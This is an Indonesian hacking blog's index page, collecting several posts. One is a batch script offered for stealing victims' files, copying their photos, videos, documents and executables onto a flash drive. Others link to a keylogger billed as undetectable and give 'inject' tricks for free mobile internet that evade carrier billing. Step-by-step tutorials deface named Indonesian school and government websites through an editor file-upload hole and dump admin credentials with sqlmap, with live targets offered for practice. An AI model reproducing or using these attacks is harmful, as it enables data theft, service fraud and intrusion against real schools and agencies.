Cara Mendapatkan Recehan Dollar

selamat siang semua para member blog MAGICNET...
kali ini admin ingin berbagi cara mendapatkan recehan dollar dari internet...

tanpa basi basi langsung sedot aja ya gan...
link ada dibawah ini :

http://adf.ly/1R9Qzu

Read More

WINDOWS 7 FLASHDISK

hai agan - agan semua...
ada yang butuh windows 7 gak nih, saya menawarkan windows 7 via flashdisk.agan - agan bisa install pc menggunakan flashdisk ini tanpa menggunakan DVD windows 7 yang loading nya begitu lama.kalau kita memakai via flashdisk akan terasa 2x atau bahkan 5x lebih cepat dari biasanya.

nah saya menawarkan flashdisk yang berisikan file windows 7 untuk instalasi pc (FDD nya jgn dipakai untuk nyimpan data)khusus untuk instalasi aja

harga : Rp. 200.000
fdd nya baru dah windows 7 ga bakal error karena udah di tes

yuk buruan order
pembayaran via BRI
contact :
elmi wijaya
hp : 082366901000

Read More

Cara Membuat Program Pencuri Data Dengan Notepad

Cara Membuat Program Pencuri Data Dengan Notepad program ini berfungsi untuk mencuri data seperti:
*.3gp
*.jpg
*.avi
*.wmv
*.rm
*.mpg
*.doc
*.xlsx

dan lainnya sudah tersedia dalam script berikut, caranya mudah banget :
1. Buka Notepad kalian melalui accessories atau melalui Run ketikan notepad.
2. Setelah kebuka notepadnya copy paste script berikut :
Sciptnya

echo off
color 0a
mode 31,15
if "%1"=="/?" goto Sej
if not "%n%" == "" set n=
:MetDtg
cls
title Stole V 3.2
msg * Digunakan untuk mencuri
msg * File atau data2 korban
echo.
echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo ³ Program Aplikasi ³
echo ³ Stole V 3 .2 ³
echo ³ Author : sohai ³
echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
:awal
ption

echo ------EKSTENSI FILE----------

echo [1] 3gp [4] jpg [7] doc

echo [2] wmv [5] rm [8] xls

echo [3] avi [6] mpg [9] Exit

echo [10] exe

echo =============================

echo.

set/p "pil=Masukan Pilihan: "

if %pil%=='' goto option

if %pil%==1 goto 3gp

if %pil%==2 goto wmv

if %pil%==3 goto avi

if %pil%==4 goto jpg

if %pil%==5 goto rm

if %pil%==6 goto mpg

if %pil%==7 goto

if %pil%==8 goto m

if %pil%==9 goto keluar

if %pil%==10 goto exe

goto option
:3gp
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.3gp') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto awal

goto option
:goto wmv
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.wmv') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)

cls
echo sudah tidak ditemukan file nyah
pause >nul


goto option
:avi
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.avi') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:jpg
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.jpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:rm
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.rm') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nulcls

goto option
:mpg
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.mpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:doc
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.doc') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:xls
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.xls') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:exe
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.exe') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls


:keluar
msg * data telah ter ambil!!!
msg * Hayoo !!! Dta kmu tuh apa ya???
msg * HEhehehehe
msg * by sohai
Exit

3. Kalau Sudah save filenya dengan ekstensi *bat dan Save As Type nya isi dengan All File
    contoh : Curidataorang.bat 


 Gampang cara kerjanya gan :
1. Kan entar kalok sudah dibuka aplikasinya. Entar sobat disuruh milih menu option yang ada di aplikasi itu.
2. Kalo sudah milih entar akan langsung otomatis di copy ke Flash Disk sobat.

Nah segitu yng bsa ane jelasinnya terimakasih dah berkunjung dan berkomentar yha....

Salam Blogger.....

Read More

Pengertian Carding, Hacking, Cracking, Defacing

Dah lama nih ga posting blog...kali ini saya akan berbagi pengetahuan tentang carding,Hacking,Cracking dan Defacing. saya bukan seorang seperti diatas tp saya bisa koq berbuat seperti dibawah ini. ga usah banyak cerita lagi yuk mari kita simak pengertian dibawah ini...

CARDING

Carding adalah berbelanja menggunakan nomor dan identitas kartu kredit orang lain, yang diperoleh secara ilegal, biasanya dengan mencuri data di internet. Sebutan pelakunya adalah Carder. Sebutan lain untuk kejahatan jenis ini adalah cyberfroud alias penipuan di dunia maya. Menurut riset Clear Commerce Inc, perusahaan teknologi informasi yang berbasis di Texas – AS , Indonesia memiliki carder terbanyak kedua di dunia setelah Ukrania. Sebanyak 20 persen transaksi melalui internet dari Indonesia adalah hasil carding. Akibatnya, banyak situs belanja online yang memblokir IP atau internet protocol (alamat komputer internet) asal Indonesia. Kalau kita belanja online, formulir pembelian online shop

tidak mencantumkan nama negara Indonesia. Artinya konsumen Indonesia tidak diperbolehkan belanja di situs itu.

Menurut pengamatan ICT Watch, lembaga yang mengamati dunia internet di Indonesia, para carder kini beroperasi semakin jauh, dengan melakukan penipuan melalui ruang-ruang chatting di mIRC. Caranya para carder menawarkan barang-barang seolah-olah hasil carding-nya dengan harga murah di channel. Misalnya, laptop dijual seharga Rp 1.000.000. Setelah ada yang berminat, carder meminta pembeli mengirim uang ke rekeningnya. Uang didapat, tapi barang tak pernah dikirimkan.

HACKING

Hacking adalah kegiatan menerobos program komputer milik orang/pihak lain. Hacker adalah orang yang gemar ngoprek komputer, memiliki keahlian membuat dan membaca program tertentu, dan terobsesi mengamati keamanan (security)-nya. Hacker memiliki wajah ganda; ada yang budiman ada yang pencoleng.

Hacker Budiman memberi tahu kepada programer yang komputernya diterobos, akan adanya kelemahan-kelemahan pada program yang dibuat, sehingga bisa “bocor”, agar segera diperbaiki. Sedangkan, hacker pencoleng, menerobos program orang lain untuk merusak dan mencuri datanya.

CRACKING

Cracking adalah hacking untuk tujuan jahat. Sebutan untuk cracker adalah hacker bertopi hitam (black hat hacker). Berbeda dengan carder yang hanya mengintip kartu kredit, cracker mengintip simpanan para nasabah di berbagai bank atau pusat data sensitif lainnya untuk keuntungan diri sendiri. Meski sama-sama menerobos keamanan komputer orang lain, hacker lebih fokus pada prosesnya. Sedangkan cracker lebih fokus untuk menikmati hasilnya.

DEFACING

Defacing adalah kegiatan mengubah halaman situs/website pihak lain, seperti yang terjadi pada situs Menkominfo dan Partai Golkar, BI baru-baru ini dan situs KPU saat pemilu 2004 lalu. Tindakan deface ada yang semata-mata iseng, unjuk kebolehan, pamer kemampuan membuat program, tapi ada juga yang jahat, untuk mencuri data dan dijual kepada pihak lain.

Read More

keylogger portable full

siang para Magic Mania
kali ini admin ingin share tentang keylogger nih...
keylogger ini bersifat portable dan tidak terdeteksi oleh virus...
bukan seperti keylogger yg lain nya....

** Tutorial
01. Klik 2x di 'winsrv'.
02. Ketik bersamaan ALT + SHIFT + CTRL + X 
03. Lalu, akan terbuka window baru kecil di pojok kanan bawah. Ketik '98765' sebagai password.

 Tidak usah khawatir anda bisa rubah password-nya sesuai keinginan anda di menu ''SETTING'.

 04. Jangan lupa, klik 'ON' agar keylogger jalan.

 05. Selesai

link download dibawah ini :

http://www.4shared.com/rar/yxekNgzOce/AllInOneKeyloggerProfessionalE.html?

jgn lupa tinggal komen anda di bawah kolom komen....

thanks Magic Mania...

Read More

Trik Inject XL Luna, Telkomsel, 3, Indosat, dan Smartfren

Halo sobat semua. Saya akan membagikan trik internet gratis atau biasa disebut Inject. Di dalam tools ini terdapat inject berbagai operator. Yaitu Indosat, Telkomsel, XL, Smartfren, dan Three. Bagi yang tidak tau caranya(newbie :p) simak langkah berikut

11.    Download Toolsnya disini.

Password : friezaltief.blogspot.com

   2. Berhubung saya menggunakan XL, maka saya akan membagikan trik inject XL ( luna ). Sebelum mengkoneksikan internet ikuti langkah berikut.

·         Buat profil baru dengan pengaturan sebagai berikut

Nama Profil     : xl

Dial                  : *99#

APN                 : internet

·         Klik kanan pada tombol koneksi di bagian pojok kanan bawah. Klik Open Network and Sharing Center.

·         Klik Change adapter settings.

·         Klik kanan lalu pilih Properties pada koneksi yang bertuliskan “xl” (jika tidak ada klik Connect menggunakan aplikasi modem lalu klik Disconnect.)

·         Klik tab Networking

·         Klik Properties pada Internet Protocol Version 4.

·         Klik Advanced.

·         Hilangkan tanda centang pada Use default gateway on remote network dan Use IP header compression.

·         Klik OK sebanyak 3 kali. Lalu Close Control Panelnya.

13. Connect internet dengan menggunakan koneksi di pojok kanan bawah seperti mengkoneksikan Wifi. Dilarang menggunakan aplikasi bawaan modem.

24. Buka aplikasi Simple Route.

35. Pilih proxy sesuai Operator seluler yang Anda gunakan, untuk XL (202.152.240.50), untuk yg lain silahkan googling

46. Klik tombol Get IP

57. Klik tombol "Route Add", kemudian klik "Send" dan akhiri dengan klik "Route Print"

8. Jalankan Tools Luna.exe (Run as Administrator)

9. Pilih profil ada XL-1, 2, dan 3. Jika saya menggunakan XL-3.

10. Klik Start

11. Buka aplikasi Bitvise. Untuk settingannya bisa lihat disini 
12. Jalankan aplikasi Proxyfier. Untuk settingannya bisa lihat disini

 Jangan lupa Browser harus di atur No Proxy. Cara mengaturnya untuk Mozilla sebagai berikut

• Masuk ke pengaturan
• Klik icon Canggih
• Pilih tab Jaringan lalu klik Pengaturan
• Pilih No Proxy. Kemudian klik OK.

Note : Untuk provider lain langkahnya sama saja. Mungkin berbeda pada penggunaan Port di Toolsnya. Misal XL di tools Luna.exe menggunakan port 8089 maka pada Proxy Setting di aplikasi Bitvise juga harus di atur portnya menjadi 8089. Saat mau mengkonekan internet gunakan prinsip berikut :D

Connect => Route => Tools => Bitvise => Proxyfier

Read More

Cara Internet gratis Via XL melalui Jalur SSH

Tips dan Trik | Sebelum masuk ke tipsnya , alangkah baiknya kita mengetahui sekilas informasi apa itu SSH ? 

SSH Sering disebut juga cara mudah untuk mendapatkan triks dan tips internet secara gratis, Namun pengertian yang benarnya adalah 

SSh atau Secure Shell adalah protokol jaringan yang memungkinkan pertukaran melalui dua perangkat jaringan, terutama banyak digunakan pada linux dan unix untuk mengakses akun shell. SSH juga menyediakan keamanan untuk sebuah akses HTTP, FTP dan SMTP sehingga koneksi kita menjadi aman

nah langsung saja kita masuk ke tutorial nya , sebelum itu siapkan dulu bahan-bahan nya

1. Bitvise SSH Client download Di >> Download

2. Injection[DodiTips] download Di >> Download

3. Proxifier 3.15[DodiTips] download Di >> Download

4. Download SSH nya >> Disini atau update baru di menu sini

udah Siap bahan-bahannya ? 

nah mulai kita beperang .  Langkah Instalasi

1. Install BvSshClient-Inst hingga selesai

2. Install Proxifier 3.15 hingga selesai dan masukan key registration nya yang telah tersedia dalam packate Proxifier 3.15

Langkah Perang sesungguhnya

1. Conectkan dulu USB Modem sobat dengan kartu XL 

2. Buka Injekan.exe dan klik Mulai 

3. Buka Bitvise SSH Client klik Load profile

dan Pilih SSH yang sahabat Blog download Seperti saya ini , kali ini saya memilih SSH Hongkong

Klik Open

dan buat Host pada Jendela Login
Dengan menambah @xl jika Xl jika tri @tri jika telkomsel @tsel

Masuk ke Proxy Setting

dan Atur pengaturan seperti di atas 

Server : 127.0.0.1

Port : 8888

Proxy Type : HTTP

Jika sudah Klik OK 

Klik Login

Jika Berhasil maka akan bertulisan Initializing SOCKS / HTTP CONNECT proxy on 127.0.0.1:123 succeeded seperti gambar diatas, cara SSH ini terkadang tergantung SSH yang kita pakai , terkadang tidak bisa konek terkadang bisa , tetapi carilah SSH yang pasti bisa kita pakai , seperti saya ini saya memakai SSH jalur server Hongkong , sudah 1 minggu saya menggunakan proxy ini dan hasil nya lancar saja . ok lanjut ke tips selanjutnya

4. Buka Proxifier dan masuk ke jendela Profile > Proxy Server

Klik Add dan buka juga BitVise sobat

Dan masuk ke jendela Service pada BitVise ikuti seperti gambar berikut

Klik OK 

Nah Selamat Koneksi sobat gretongan gratis-tis tis 

Read More

Trik Inject Internet Gratis Smartfren

Haloo sobat blogger yang ganteng dan yang cantik.. (yang jelek jangan tersinggung) :D

Saya disini akan membagikan tools inject sm*rtfren. Saya buat tools inject lagi karena saya sudah mencoba menggunakan tools kemarin tapi gagal. Kalo yang ini 100% berhasil. Nih buktinya saya bisa posting :p

Mungkin bagi para newbie bertanya-tanya saya mau posting apa. Ok saya disini akan memposting cara supaya kita bisa internetan gratis pake sm*rtfren.

Ada beberapa program yang dibutuhkan seperti Injector, Hook, Bitvise dan Proxyfier.

1. Download Tools dan Hook disini 

    

    Password : friezaltief

• Connect internet menggunakan icon yang terdapat di taskbar (pojok kanan bawah)
• Jalankan aplikasi MRHPxEnableHook.exe (Run as Administrator)
• Akan muncul icon berwarna putih di taksbar
• Double Klik icon itu sampai keluar logo kunci berwarna kuning

•  Buka aplikasi SMART.exe
• Klik Go

•  Akan muncul gambar seperti ini. Lalu klik Start

2. Jalankan aplikasi Bitvise Bagi yang belum punya silakan download dan lihat carasettingnya disini
3. Jalankan aplikasi Proxyfier. Bagi yang belum punya silakan download dan lihat cara settingnya disini

Demikian trik inject internet gratis smart. Apabila ingin trik inject All Operator bisa intipdisini.

Read More

Cara Internet Gratis Dengan SmartFren (No Software Needed)

Alhamdulillah berkah rahmat sehat dan nikmat masih senantiasa tercurah limpahkan kepada kita semua sehingga masih dapat melaksanakan aktifitas rutin termasuk update blog dengan tulisan yang sederhana dan apa adanya meskipun sekedar nulis saja.

Menulis selain melatih otak untuk bekerja extra, juga dapat menghasilkan sebuah karya yang mungkin saja memberikan manfaat, minimal bagi penulis seperti sering saya sebutkan pada tulisan-tulisan sebelumnya.

Jika beberapa waktu lalu mengajak para pencinta internet gratis untuk merapat, pada posting tersebut hanya berupa gambaran singkat bahwa koneksi internet sebuah provider dapat dimanipulasi dengan bantuan software yang dapat dikatakan bekerja underground atau diluar pengetahuan provider.

Sedikit penjelasan mungkin bagaimana internet gratis tersebut berlangsung melalui sebuah software. Betikut ulasan singkat tentang hal tersebut.

Software yang dipergunakan sebagai salah satu alat tempur internet gratis biasa disebut dengan injek yang bekerja melakukan forwarding (penerusan) jalur melalui deklarasi header. Header yang dipergunakan pada software tersebut biasanya merupakan situs yang dapat diakses gratis dari sebuah provider, misalkan saja http://data.smartfren.com. url dan proxy profider tersebut dijadikan header, sehingga meskipun tanpa pulsa dan paket yang tersisa pada sebuah sim card masih dapat mempergunakan koneksi internet karena provider membaca hanya situs tersebut yang dibuka oleh pengguna, semenara dibawah kesadaran url yang lain telah diakses melalui header tersebut. Jika saya asumsikan hampir sama dengan mempergunakan sintak iframe pada sebuah blog.

Semoga mendekati kebenaran, apabila merupakan sebuah persepsi keliru mohon koreksi dari para sahabat yang memahami hal tersebut.

Kembali pada topik awal sebagaimana terdapat pada judul, Bagaimana akses internet gratis dengan provider smartfren tanpa membutuhkan software (injek). Berikut sedikit langkah sederhananya.

1. Colekin USB modem, biarkan aplikasi terbuka dengan sendirinya
2. Click connect untuk menghubungkan, secara otomatis akan terbuka browser dengan halaman yang langsung diarahkan dari aplikasi modem tersebut http://data.smartfren.com
3. Click menu Tools --> Options --> Tab Advanced --> Network --> Setting (seperti gambar dibawah)
4. Masukkan proxy dan port berikut :
   Proxy : 10.17.27.250
   Port : 80
5. Centang use this proxy for all protocols
6. Selamat berbrowsing Ria

Penampakan gambar setting kurang lebih sebagai berikut:

Masalah speed, silahkan anda cek melalui speed meter yang banyak dijumpai di internet, untuk hasil yang lebih mantabs, dapat anda pergunakan akun SSH dengan proxy setting seperti diatas. Selamat mencoba.

Read More

Cara Deface Website Sekolah sch.id Dengan Mudah Tanpa Login Admin

Oke Langsung Saja ^_^

Kali Ini Saya Akan Berbagi Sedikit Trick Ngawur Dari Saya,... ^_^
Atau Cara Mendeface Website Sekolah
Dan Langkah Langkahnya Pun Sangat Mudah Dan Sederhana,..

Pertama-tama Anda Siapkan File Deface Kalain
Berupa  .txt  / .jpg / .gif /.png , Yang Akan Di Upload Nantinya,...
Nah Kalau Sudah Anda Siapkan,..
Langsung Saja Pilih Salah Satu Dork
Dan Copy Salah Satu Dork Di Bawah ini,...

Dork: 
inurl:/html/siswa.php?
inurl:/html/alumni.php?
inurl:/html/guru.php?

Dan Saya Akan Memberi Contoh Pada Kalian,..
Nah  Sekarang Saya Akan Memilih Salah Satu Dork Di Atas,
Dan Kali ini Saya Memilih Dork Yang  inurl:/html/guru.php?
Dan Saya Akan Paste Pada Halaman Googel Seperti Gambar berikut ini

Kalau Dork Sudah Anda Paste Lalu Klick Enter / Seperti Petunjuk Pada Gambar Tersebut
Dan Akan Keluar Banyak website Seperti Gambar Di Bawah ini

Lalu Anda pilih Salah Satu Website,..
Oke,.. Apakah Anda Sudah Paham,..??
Kalau Sudah Saya Akan Melanjutkan Salah Satu Contoh Tadi

Setelah Anda Memilih Salah Satu Website,..
Lalu Rubah Tampilanya Kita Exploit  Dengan menambahkan
/editor/filemanager/connectors/test.html  Pada belakang Site tersebut,..
Oke Saya Lanjut Contohnya,...
Setelah Saya Memilih Salah Satu Website,..
Dan Saya Memilih Website ini Sebagai Contohnya,...
Saya Memilih website Yang Saya temukan tadi Go.id 
http://www.tanjabbarkab.go.id/html/guru.php?id=profil&kode=53&profil=Pantun%20Daerah
Dan perhatikan Gambar tersebut

Lalu Saya Akan Exploit Seperti Contoh Gambar Berikut ini

Bila Anda Masih Bingung Sedikit Singkat
Langsung Saja
http://www.tanjabbarkab.go.id/html/guru.php?id=profil&kode=53&profil=Pantun%20Daerah
Anda Rubah yang Warna Hijau ini
 /html/guru.php?id=profil&kode=53&profil=Pantun%20Daerah
Hingga Menjadi Seperti ini
http://www.tanjabbarkab.go.id/editor/filemanager/connectors/test.html

Dan Akan Keluar Seperti Contoh Gambar Berikut ini

Setelah Anda Exploit Dan Menjumpai Tampilan Seperti Pada Gambar tersebut
Langkah yang Anda Lakukan Selanjutnya Hanya Merubah
Pada Kolom Connector *ASP Ubah Menjadi *PHP 
Terus Kolom Resource Type Ubah Jadi *FILE




Perhatikan Gambar ini

Jika Sudah Langsung Saja Klik Browse

Pilih File Yang Sudah Anda Siapakan Tadi Sejak Awal
Kalau Sudah Anda Pilih Filenya Lalu Upload

 

Setelah File Terupload,...
Sekarang Kita Cari File Kita,...
Dengan Menambahkan /userfiles/namafileanda.txt 
Dibelakang Site / Website Tadi
Sebagai Hasil Dari Contoh Tadi
Inilah Hasilnya,...
http://www.tanjabbarkab.go.id/userfiles/file/HsH.txt

Dan Anda Juga Bisa Upload Tipe Gambar
Kalau Gambar,.. Langkahnya,..
Rubah Kolom Resource Type  *FILE  Ubah Jadi *Image
Perhatikan Gambar ini

Kalau File Gambar Sudah Terupload
Sekarang Kita Cari File Kita,...
Dengan Menambahkan /userfiles/image/namafileanda.jpg
Dibelakang Site / Website Tadi
Sebagai Hasil Dari Contoh Tadi
Inilah Hasilnya,..http://www.tanjabbarkab.go.id/userfiles/image/HsH.jpg

Oke ^_^ Sekian Dulu Ya,...
Sudah Subuh,.. Capek Ngetik Terus,... ^_^
Assallamuallaikum,.... ^_^ By,...

- See more at: http://googel-indonesia.blogspot.com/2013/04/cara-deface-website-sekolah-schid.html#sthash.XhHmdPPJ.dpuf

Read More

TUTORIAL SQL MAP DEFACE WEBSITE SEKOLAH

Halo para sobat Hackinggroups, kali ini saya akan menulis tentang Cara Deface Dengan SQL Injection yang dikenal dengan teknik SQLmap di BackTrack. Tools ini sudah ada di dalam File .ISO pada BackTrack.
Disini, saya menggunakan BackTrack 5 R3.
Pertama-tama, cari target yang vuln terhadap SQL Injection, berikut ini sedikit dork dari saya :

inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:Pageid=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=

Dan masih banyak lagi dork bertebaran di Google :D

Dalam Tutorial kali ini, saya akan menggunakan target salah satu Sekolah yang ada di Sidoarjo.

http://www.sman2sidoarjo.sch.id/

Untuk mengetahui Website tersebut Vuln atau tidak, silahkan tambahkan tanda ‘ (petik satu) setelah atau sebelum nomor id tersebut, bisa juga dengan menambahkan tanda  - (minus) sebelum nomor id tersebut.

Contoh :                http://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=5''

http://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=’5

http://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=-5

Jika target tersebut Vuln terhadap SQLi, maka akan muncul kira-kira seperti ini :

Jika sudah mendapatkan target, silahkan buka Terminal, kemudian ketikan perintah “cd /pentest/database/sqlmap” (tanpa tanda petik) kemudian Enter.

Kemudian akan muncul seperti ini.

Kemudian untuk mencari nama database, ketikkan “ ./sqlmap.py -u http://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=5 --dbs” (tanpa tanda petik) kemudian Enter.

Kemudian akan muncul seperti ini :

Disana kita dapat menemukan 2 Database, yaitu information_schema dan sman2sidoarjo_sman2sda

Setelah kita mendapatkan Database tersebut, kita tulis “./sqlmap.py -u http://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=5 -D namadatabase --tables” (tanpa tanda petik) kemudian Enter.

Setelah itu akan muncul beberapa Tabel.

Kemudian kita mencari Colums dengan cara mengetik “./sqlmap.py -u http://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=5 -D namadatabase -T namatable --columns” (tanpa tanda petik) kemudian Enter. 

Disini kita akan menjumpai beberapa Columns dari Tabel Admin. 

 

Kemudian, untuk mengetahui isi dari Columns tersebut, kita ketikkan “./sqlmap.py -u http://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=5 -D namadatabase -T namatable --dump” (tanpa tanda petik) kemudian Enter.

Nah, kita sekarang sudah menemukan User + Pass Administrator dari Website tersebut :)

Jika sudah mendapatkan User + Pass, pasti Anda tau kan yang harus dilakukan ? :)

Nah, tinggal cari Login Adminnya deh :D

Caranya banyak kok di Google :)

Sekian dulu dari saya, saya ucapkan Terimakasih Banyak :)

Untuk yang ingin belajar SQL Map, silahkan menggunakan live target http://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=5

- See more at: http://x-coder.blogspot.com/2013/02/tutorial-sql-map-deface-website-sekolah.html#sthash.wqAvQf8x.dpuf

Read More

Cara Deface Website Sekolah Bagi Pemula

Nah, kali ini saya akan membagikan tutorial yang paling digemari oleh Cyber Crime sob. Mungkin diantara teman-teman sudah banyak yang tau Deface Website, yaitu dengan mengubah tampilan website tersebut.

Dan pada kali ini saya akan memberikan Cara Deface Website Sekolah Bagi Pemula dengan domain Sch.Id, oke langsung saja kita mulai tutorialnya ya sob...

1. Pertama-tama siapkan dulu Script untuk Deface sob

2. Kemudian pasang Dork ini di Search Engine sobat

inurl:/html/siswa.php?
inurl:/html/alumni.php?
inurl:/html/guru.php?

Pilih salah satu Dork diatas, sebagai contoh

inurl:/html/siswa.php?

Lalu copy dan paste kan di Search Engine untuk mencari Website Sekolah yang Vuln

Klik gambar untuk memperjelas

3. Jika sudah ketemu kita pilih salah satu Websitenya, sebagai contoh

Website, www.sman1kotabaru.sch.id

4. Kita siapkan

Exploit: /editor/filemanager/connectors/test.html

Jadi, www.sman1kotabaru.sch.id/editor/filemanager/connectors/test.html

Seperti ini gambarnya

5. Ubah Connector ASP ke PHP

Untuk Scriptnya kita ambil saja file.txt gan, sobat buat dulu filenya di Notepad terserah mau nulis apa saja.

6. Kemudian Upload fil.txt yang di buat tadi, untuk melihat hasilnya Deface tadi

Beri embel-embel /userfiles/file/namafile.txt di website tadi

Jadi, www.sman1kotabaru.sch.id/userfiles/file/namafile.txt

Ganti nama namafile.txt dengan file.txt yang sobat buat tadi

Misal www.sman1kotabaru.sch.id/userfiles/file/sofyanpublish.txt

Ini dia hasilnya

Ini hasil dari tutorial ini,

http://www.sman1kotabaru.sch.id/userfiles/file/sofyanpublish.txt

Selamat mencoba, jika sudah berhasil bagikan tutorial ini kepada teman-teman semua

Jangan lupa bagi hasilnya di komentar ya gan

Read More